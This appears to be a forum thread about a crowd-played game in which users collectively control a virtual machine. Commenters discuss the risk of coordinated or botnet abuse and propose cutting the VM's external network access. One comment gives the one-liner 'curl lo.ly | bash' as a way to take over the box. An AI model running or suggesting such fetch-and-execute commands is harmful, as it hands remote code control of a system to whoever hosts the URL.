That would only work in the event that a majority of users coordinate their efforts to deploy such a thing. Seems like it'd be easier for them to setup a VPS.
What happens when "majority" is achieved by a botnet?
Since this seems to be a ""collaborative"" game, if someone manages to go that far without anyone else foiling their plans, they deserve a medal!
They might be able to do it with a minified url and a script.
curl lo.ly | bash
box is now owned.
I have no idea. I don't think the crowd will have enough coordination to do something like that (which is basically what we are banking on currently), but if it does, we will probably have to step in manually.
Why would the VM even need external network access? Let it have only LAN access to communicate key strokes and host a local mirror for pacstrap/pacman. Also limit the interface to only those two operations.